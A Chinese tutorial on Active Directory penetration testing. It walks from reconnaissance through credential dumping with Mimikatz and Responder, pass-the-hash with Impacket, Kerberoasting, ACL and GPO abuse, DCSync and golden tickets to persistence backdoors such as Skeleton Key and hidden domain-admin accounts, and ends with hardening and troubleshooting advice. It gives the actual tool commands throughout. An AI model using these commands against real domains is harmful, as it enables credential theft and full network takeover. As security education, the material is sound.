域渗透实战:从零理解Active Directory攻击路径与防御

📅 2026/6/20 5:46:45
域渗透实战:从零理解Active Directory攻击路径与防御
1. 项目概述从零开始理解域渗透的战场如果你刚接触内网安全听到“域渗透”这个词可能会觉得既神秘又遥远感觉这是高手们才能玩的游戏。但说实话我刚开始接触时也是这么想的直到自己亲手搭建环境、踩过无数坑之后才发现它更像是一套有明确规则和路径的“闯关游戏”。这个游戏的地图就是域架构你要扮演的角色可能是误入的访客也可能是心怀目标的“探索者”而最终的目标往往是那座守卫森严的城堡——域控制器。简单来说在一个典型的企业内网中管理员不会给成百上千台电脑挨个设置账号密码那样效率太低。他们会搭建一个叫“Active Directory”活动目录简称AD的中央管理系统也就是我们常说的“域”。一旦你的电脑加入了这个域你的登录认证、权限分配、软件安装策略甚至USB端口能不能用都由域控制器说了算。所以域渗透的核心本质上就是在这个集中管理的体系里由外到内、由低到高逐步获取更高权限最终掌控整个网络管理核心的过程。为什么我们要从零开始学这个因为它是内网安全的基石。无论是进行授权的安全测试还是理解防御体系你都得先明白攻击者会怎么想、怎么做。网上很多文章一上来就讲各种高深的漏洞利用却忽略了最基础的认知地图。结果就是新手照着做可能成功了但根本不知道自己在做什么为什么这么做遇到变通就傻眼。这篇文章我就想和你聊聊如何像认识一个新城市一样先看懂它的域架构地图了解里面的居民域用户和他们的生活规则最后再规划几条通往市政厅域控的可行路线。我们会避开那些华而不实的“神器”炫耀聚焦于最本质的思路和原理让你即使在没有自动化工具的情况下也能知道该往哪里走、该怎么走。2. 域架构核心概念与攻击面解析2.1 什么是域一个生动的城市比喻你可以把一个“域”想象成一个高度组织化的现代城市。域控制器就是这个城市的市政府兼公安局它手里有一本全市居民的户口本AD数据库记录了每个人的身份信息用户账户、家庭住址计算机账户、工作单位组以及他们能进出哪些大楼、能使用哪些公共设施权限。市长与管理员这个城市有最高管理员比如Administrator相当于市长拥有至高无上的权力。下面还有各个部门的主管比如Domain Admins组的成员他们能管理城市里的大部分事务。普通市民与用户城市的普通居民就是域用户。他们在市政府登记获得一个身份域账号用这个身份可以在城市里任何一台接入市政系统的电脑域成员机上登录和工作。他们的行为受到市政法规组策略的约束。建筑与计算机每一台加入域的电脑或服务器就像是城市里的一栋建筑。它在市政府也有登记计算机账户。市政府可以统一给所有建筑规定安保等级、消防设施系统配置。法规与组策略市政府下发的“红头文件”就是组策略。它可以规定“所有政府办公楼特定OU的电脑必须安装某款杀毒软件”或者“财务部的员工财务部用户组禁止使用USB设备”。你提到的热词“域控组策略里面单独给一个用户开usb权限”就相当于市长特批给某个市民一张USB使用许可证这通常是通过精细的组策略权限设置实现的。攻击者进入这个“城市”目标很明确拿到市长的权限或者能冒充市长发号施令。而要达到这个目标他需要先成为一名“市民”获得一个域用户身份然后摸清城市布局了解域架构最后找到通往市政府的最短或最隐蔽的路径。2.2 关键组件与攻击路径映射理解了这个比喻我们来看看现实中AD域的几个核心组件以及它们如何成为攻击的跳板域控制器攻击的终极目标。它运行着AD DS服务存储所有对象数据。拿下域控就等于控制了整个域。热词中“域控控制器的获取”是渗透的终点站。活动目录数据库存储在域控上的NTDS.dit文件。这是整个域的“户口本”包含所有用户、计算机的密码哈希。获取这个文件就能离线破解所有密码。域用户与计算机账户这是攻击者最初需要获取的“合法身份”。一个普通的域用户账号就是进入内网大门的钥匙。组策略对象既是管理工具也可能成为攻击载体。GPO可以推送脚本、部署软件。如果攻击者能篡改GPO就能让域控自动在所有电脑上执行他的恶意代码。信任关系如果存在多个域比如母公司域和子公司域域之间可能会有信任关系。攻击者从一个域突破后可以利用信任关系横向移动到另一个域扩大战果。服务主体名称很多服务如HTTP、MSSQL在域内运行时会注册SPN。攻击者可以通过查询SPN来发现哪些服务器运行着重要服务从而针对性地攻击。攻击面思考从防御角度看每一个便于管理的设计都可能成为攻击面。例如为了方便管理管理员可能将大量用户加入本地管理员组这会导致一台机器被攻破就能获取大量域用户凭证。又比如为了兼容老旧系统域内可能启用脆弱的认证协议这直接为密码破解打开了方便之门。3. 信息收集绘制你的内网地图在发动任何实质攻击前花在信息收集上的时间永远都是值得的。你需要知道“城市”的布局、重要机构的位置以及安保的薄弱点。3.1 基础网络与主机发现刚进入内网你可能只有一个IP。第一步是摸清网段和存活主机。# 使用nmap进行基础扫描假设你已获得一个立足点 nmap -sn 192.168.1.0/24这条命令会进行Ping扫描找出存活的主机。但更高级的域渗透中主机可能禁用了ICMP。此时可以扫描常见的域控制器端口。# 扫描可能的域控制器端口 nmap -p 53,88,135,139,389,445,464,636,3268,3269 192.168.1.10-20端口88Kerberos认证域控必有。端口389LDAP用于查询目录信息域控必有。端口53DNS域控通常也作为DNS服务器。端口445SMB用于文件共享和远程管理是信息收集的重要通道。3.2 域内信息枚举谁是关键人物一旦确认了域控IP下一步就是向域控“问话”获取用户、组、计算机等详细信息。这里主要利用LDAP协议。使用内置命令net# 查看域基本信息 net view /domain # 查看域内所有计算机 net view /domain:你的域名 # 查看域用户 net user /domain # 查看域管理员组 net group Domain Admins /domain # 查看域控制器 net group Domain Controllers /domainnet命令简单直接但信息不够详细且容易被日志记录。使用PowerShell更强大、更隐蔽PowerShell是域渗透的“瑞士军刀”。首先你需要确保当前会话有域权限。# 获取当前域名称 Get-ADDomain # 获取域内所有用户显示部分属性 Get-ADUser -Filter * -Properties SamAccountName, DistinguishedName, LastLogonDate | Select-Object SamAccountName, DistinguishedName, LastLogonDate # 获取域内所有计算机 Get-ADComputer -Filter * -Properties Name, OperatingSystem, LastLogonDate | Select-Object Name, OperatingSystem, LastLogonDate # 获取域管理员组成员 Get-ADGroupMember -Identity Domain Admins -Recursive # 查询SPN发现重要服务账户 setspn -T 你的域名 -Q */*通过SPN扫描你可能会发现像MSSQLSvc/sqlserver.domain.com这样的条目这代表有一台SQL服务器其服务账户可能是域用户攻击该服务账户可能获得域权限。使用专业工具BloodHound这是目前最强大的域内关系可视化与攻击路径发现工具。它通过收集域内的用户、组、计算机、权限关系等数据自动分析出从当前立足点到域管理员的最短路径。数据收集在已控的域机器上运行SharpHound收集器BloodHound的采集器。.\SharpHound.exe -c All它会生成一个.zip文件。数据分析在攻击者的图形化界面BloodHound UI中导入该文件。它会生成一张关系图并直接告诉你“你可以从A用户通过B权限最终成为域管理员”并给出具体的执行步骤。注意BloodHound的采集活动会产生大量LDAP查询日志在防守严密的网络中极易触发告警。在实际测试中需要评估环境或尝试使用更慢、更隐蔽的采集方式。3.3 权限与信任关系分析信息收集不仅是罗列对象更要分析关系。用户权限哪些用户对哪些计算机有“本地管理员”权限这常常是横向移动的关键。组嵌套一个普通用户是否在某个拥有特殊权限的组里或者这个组又被嵌套在更高权限的组里ACL访问控制列表。例如一个普通用户是否对某个域对象如另一个用户或计算机账户有“写入权限”或“重置密码”的权限这可能导致权限提升。域信任执行nltest /domain_trusts可以查看当前域的信任关系。如果有双向信任那么在另一个域中获取的凭证可能在本域同样有效。4. 初始立足获取第一个域用户凭证在理想情况下你可能通过钓鱼、漏洞利用等方式直接获得了一个域用户账号和密码。但很多时候我们需要从一台已控的非域管机器上“榨取”出域凭证。4.1 本地凭证窃取与破解如果当前机器有域用户登录过其凭证可能会缓存在内存或磁盘中。Mimikatz神器中的神器。可以抓取内存中的明文密码或哈希。privilege::debug # 提升权限 sekurlsa::logonpasswords # 抓取内存密码重要警告Mimikatz行为非常激进会被几乎所有EDR/杀软重点关照。在真实环境中需做免杀或寻找替代方法。SAM与LSA Secrets本地存储的密码哈希。可以通过注册表导出SAM和SYSTEM文件在本地用mimikatz或secretsdump.pyImpacket套件解析。DPAPIWindows用于保护加密数据如浏览器密码、Wi-Fi密码的接口。如果获取了用户的登录密码或主密钥就能解密这些数据有时能发现保存的域凭据。4.2 网络嗅探与中间人攻击在内网中如果网络交换环境不够安全如存在ARP欺骗可能可以尝试嗅探网络流量捕获诸如SMB、HTTP Basic等协议的认证哈希。Responder/Inveigh这类工具可以伪装成网络中的各种服务如LLMNR/NBT-NS解析器、WPAD代理服务器、HTTP/SMB服务器当用户或系统尝试解析一个不存在的名称时工具会响应并诱导其向攻击者发起认证从而捕获Net-NTLMv1/v2哈希。python Responder.py -I eth0 -wrf捕获到的哈希可以被用于“传递哈希”攻击或者如果强度不够可以被离线破解。热词中提到的“NTP同步错误”虽然不直接是攻击但反映了域内时间同步服务的重要性而时间同步NTP/NetTime在某些配置下也可能存在安全问题。4.3 利用配置错误与弱口令这是最常见、最有效的初始突破方式。密码喷洒针对枚举出的所有域用户尝试用几个常见的弱密码如Company2024、Winter2024!、Password1进行登录。这与爆破不同爆破是针对一个用户试很多密码容易被锁定喷洒是针对很多用户试少数密码不易触发锁定策略。默认口令与空口令测试服务账户、老旧系统账户的默认口令或者管理员疏忽设置的空口令。信息泄露在共享文件夹、内部Wiki、代码仓库、员工邮箱中可能无意间包含了账户密码信息。实操心得在内部测试中我经常发现运维人员为了方便在一些自动化脚本里硬编码了域账号密码。通过查找服务器上的.ps1,.bat,.vbs,.config,.xml文件用findstr或grep搜索“password”、“pwd”、“cred”等关键词往往有意外收获。5. 横向移动在域内扩大控制范围拿到一个普通域用户权限后目标是在域内控制更多机器特别是那些高价值目标如运维人员的电脑、文件服务器、数据库服务器并最终获取域管理员权限。5.1 凭证传递与哈希传递这是域内最经典的横向移动技术。密码传递如果你有用户的明文密码可以直接用它来访问网络资源或执行命令。# 使用Impacket的psexec.py python psexec.py 域名/用户:密码目标IP哈希传递很多时候你只能拿到密码的NTLM哈希一串十六进制字符串而不是明文。在Windows中许多服务如SMB、WMI、WinRM允许直接使用哈希进行认证无需明文密码。# 使用Impacket的smbexec.py进行哈希传递 python smbexec.py -hashes :NTLM哈希 域名/用户目标IP# 在PowerShell中可以使用Mimikatz进行PtH mimikatz # sekurlsa::pth /user:用户名 /domain:域名 /ntlm:哈希 /run:powershell.exe新弹出的PowerShell窗口就拥有了该用户的网络身份可以访问该用户有权访问的网络共享。5.2 利用WinRM与WMI进行远程执行如果目标机器开启了WinRM或WMI服务且当前用户有权限可以直接远程执行命令。WinRM# 建立远程会话 $cred Get-Credential Enter-PSSession -ComputerName 目标机器名 -Credential $cred # 或者执行单条命令 Invoke-Command -ComputerName 目标机器名 -Credential $cred -ScriptBlock { whoami }WMIGet-WmiObject -Class Win32_Process -ComputerName 目标机器名 -Credential $cred -Filter Namecalc.exe # 或者使用wmic命令 wmic /node:目标机器名 /user:域名\用户 /password:密码 process call create cmd.exe /c whoami C:\test.txt5.3 利用计划任务与服务如果可以通过SMB或RPC连接到目标机器的Admin$共享就可以创建计划任务或服务来执行命令。# 使用Impacket的atexec.py python atexec.py 域名/用户:密码目标IP whoami这个原理是创建一个计划任务立即执行命令然后获取输出并删除任务。5.4 利用共享与敏感信息搜索横向移动不一定是远程执行命令。有时访问一台文件服务器的共享就能获得巨大收获。网络共享枚举使用net view \\目标IP或smbclient -L //目标IP/查看共享。访问共享重点访问ADMIN$、C$、IPC$以及任何非默认的共享文件夹。特别是开发、运维、财务部门的共享里面可能有配置文件、数据库连接字符串、备份文件可能包含域控备份ntds.dit、密码本等。本地文件搜索在已控的机器上搜索包含“password”、“secret”、“token”、“key”等关键词的文件。findstr /s /i password *.txt *.xml *.config *.ini *.vbs *.ps1 2nul6. 权限提升从普通用户到域管理员横向移动让你控制更多机器但权限提升让你在单台机器上获得更高特权尤其是获得域管理员权限。6.1 本地权限提升漏洞在域成员机上利用系统本地漏洞如内核漏洞提升到本地SYSTEM或Administrator权限。虽然这本身不直接给你域管权限但本地管理员通常可以抓取该机器上登录过的其他用户包括域管理员的凭证。启用WMI、WinRM等远程管理服务为后续横向移动提供更好跳板。进行令牌模拟如果本地管理员是域管。6.2 域内权限提升漏洞与错误配置这才是域渗透中权限提升的精髓往往不依赖于系统漏洞而是利用AD本身的设计或管理员的配置错误。Kerberoasting 服务账户如运行SQL Server的账户会注册SPN。域用户可以向域控请求该服务账户的票证。该票证的一部分是用服务账户的密码哈希加密的。攻击者可以请求票证然后离线暴力破解这部分加密数据从而获取服务账户的密码。如果该服务账户恰好属于高权限组就实现了权限提升。# 使用Rubeus请求所有SPN的TGS票证 .\Rubeus.exe kerberoast /outfile:hashes.txt # 然后使用hashcat破解 hashcat -m 13100 hashes.txt wordlist.txtAS-REP Roasting 如果一个用户账户设置了“不需要预认证”攻击者可以直接向域控请求该用户的TGT票证而无需提供密码。返回的TGT票证中有一部分是用用户密码加密的可以离线破解。# 使用Rubeus .\Rubeus.exe asreproast /user:目标用户名 /outfile:asrep_hash.txt滥用ACL 这是最需要手工分析但也最有效的方式之一。通过BloodHound或PowerShell的Get-ObjectAcl可以分析域内对象用户、计算机、组的访问控制列表。GenericAll对对象拥有完全控制权。如果对一个用户有GenericAll权限可以直接修改其密码。GenericWrite/WriteProperty可以修改对象的属性。例如可以修改一个用户的scriptPath登录脚本下次该用户登录时就会执行你的脚本。WriteDacl可以修改对象的安全描述符给自己添加任意权限。ForceChangePassword可以强制重置用户密码。AllExtendedRights包含重置密码等扩展权利。 例如发现一个普通用户UserA对域管理员AdminB有ForceChangePassword权限那么UserA就可以直接重置AdminB的密码从而成为域管理员。组策略对象滥用 如果攻击者对某个有权限链接到重要OU的GPO有写权限就可以编辑这个GPO在其中添加一个启动/关机/登录脚本脚本内容可以是添加一个账户到域管理员组。当下一次组策略刷新时所有应用该GPO的计算机都会执行这个脚本。Unconstrained Delegation无约束委派攻击 如果一台计算机被配置为无约束委派那么任何用户通过Kerberos认证访问该计算机服务时该计算机会保存该用户的TGT票证。如果域管理员访问了这台机器其TGT就会被缓存。攻击者控制这台机器后就可以导出域管理员的TGT并模拟其身份访问任何服务。7. 域控攻防最终目标的夺取与利用经过前期的信息收集、横向移动和权限提升你可能已经获得了域管理员权限。此时夺取域控制器更多是一种象征性的最终步骤或者是为了获取最核心的数据NTDS.dit。7.1 直接登录域控拥有域管理员凭证后最直接的方式就是通过RDP、WinRM、PsExec等方式登录到域控制器。python psexec.py 域名/域管理员:密码域控IP登录后你便拥有了至高无上的权力。7.2 转储NTDS.dit与金票/银票即使无法直接登录只要有域管理员哈希也能远程获取域数据库。Volume Shadow Copy secretsdump在域控上创建卷影副本从中复制出NTDS.dit和SYSTEM注册表文件然后在本地用secretsdump.py解析。# 在已控的域管权限会话中使用vssadmin或diskshadow创建副本并复制文件 # 然后使用Impacket解析 python secretsdump.py -ntds ntds.dit -system system.hive LOCALDCSync攻击这是最优雅的方式。模仿域控制器之间同步数据的行为直接请求域控同步指定用户的密码哈希。需要攻击者拥有Replicating Directory Changes权限默认域管理员和域控制器有此权限。# 使用Mimikatz mimikatz # lsadump::dcsync /domain:域名 /user:Administrator或者使用Impacketpython secretsdump.py 域名/域管理员:密码域控IP -just-dc-just-dc参数就是执行DCSync获取所有域用户的哈希。金票与银票金票在获取了krbtgt账户的哈希后krbtgt是域控用来签署所有TGT票证的账户可以伪造任意用户的TGT票证即“黄金票证”。拥有金票就可以生成访问任何服务的票证权限永不过期除非krbtgt密码被更改。mimikatz # kerberos::golden /admin:任意用户名 /domain:域名 /sid:域SID /krbtgt:krbtgt哈希 /ptt银票在获取了某个服务账户的哈希后可以伪造访问该特定服务的TGS票证即“白银票证”。它不需要与KDC域控交互因此更加隐蔽。7.3 权限维持拿下域控后攻击者通常会留下后门以便长期控制。创建隐藏的后门账户创建一个名字类似普通系统账户如sqladmin的用户并将其加入Domain Admins组。同时通过修改AdminSDHolder和SDProp的机制使该账户的权限不会被系统自动清理。Skeleton Key在域控上植入Mimikatz的Skeleton Key它会在内存中修补LSASS进程使得所有用户都可以使用一个通用密码如mimikatz进行认证同时原密码依然有效。重启域控后失效。DSRM密码同步目录服务还原模式是域控的本地管理员账户。可以将其密码同步为已知密码之后即使域管理员密码被修改仍可通过DSRM账户本地登录域控。GPO后门创建一个恶意的组策略在所有域计算机上部署计划任务或服务定期连接C2服务器。8. 防御视角与常见问题排查理解了攻击才能更好地防御。从防御者角度看上面提到的每一步都是需要设防的关口。8.1 基础加固建议最小权限原则用户和计算机账户只赋予完成工作所必需的最小权限。定期审查ACL和组成员关系。强密码与智能锁定实施足够复杂的密码策略并启用智能账户锁定针对爆破而非喷洒。禁用过时协议强制使用Kerberos禁用NTLMv1尽可能禁用NTLMv2。禁用LLMNR和NetBIOS。限制委派审查并清理无约束委派配置使用基于资源的约束委派。保护特权账户域管理员账户仅用于域控管理日常使用普通账户。对特权账户启用“敏感账户不能被委派”和“此账户需要Kerberos预认证”标志。启用日志审计详细开启账户管理、登录、对象访问、策略更改等安全日志并集中收集分析。8.2 常见问题与排查实录结合热词中提到的一些具体问题这里提供排查思路“域用户ntp在与x.x.x.x进行同步时出错”原因域成员机需要与域控的时间同步通常误差不超过5分钟才能进行Kerberos认证。此错误说明时间同步失败。排查检查域控的Windows Time服务是否运行。检查防火墙是否放通了UDP 123端口NTP。在成员机上执行w32tm /query /source查看时间源执行w32tm /resync手动同步。确保域控自身时间准确可配置外部NTP源。“用户脱域后重新加入提示操作未成功”原因计算机账户在AD中残留的旧记录与尝试加入的新记录冲突或网络问题或权限不足。排查在域控AD用户和计算机中找到“Computers”容器或对应OU删除旧的计算机账户。确保执行加域操作的用户有“将计算机加入域”的权限默认域用户有10次机会。检查DNS确保能正确解析域控的SRV记录。“self service password ad如何连接ad域控总是提示不能访问ldap目录服务”原因自助密码重置服务无法通过LDAP协议连接到域控。排查网络连通性确保自助密码服务器能ping通域控且防火墙开放了389LDAP和636LDAPS端口。LDAP绑定账户检查配置中用于连接AD的服务账户密码是否正确账户是否被禁用或锁定。LDAP路径检查配置中的LDAP连接字符串如ldap://dc01.domain.com:389是否正确域名能否解析。SSL/TLS如果使用LDAPS636端口确保域控安装了有效的证书且自助密码服务器信任该证书。权限确保绑定账户有权限在AD中读取用户属性并重置密码通常需要委派特定权限。域渗透是一个深度依赖知识和耐心的过程。它没有一成不变的公式每个内网环境都是一张独特的地图。真正的能力不在于记住几个工具命令而在于理解每个命令背后的协议原理、每一条攻击路径背后的权限逻辑。从一张白纸到绘制出完整的域内攻击链这个过程本身就是对内网安全最深刻的学习。我个人的体会是搭建一个自己的实验环境反复练习从信息收集到拿下域控的完整流程遇到问题就深入去研究原理这样的收获远比看十篇教程要大。最后再分享一个小心得在信息收集阶段多花时间用BloodHound把整个域的权限关系理清楚往往比盲目地尝试各种漏洞利用更能发现“捷径”。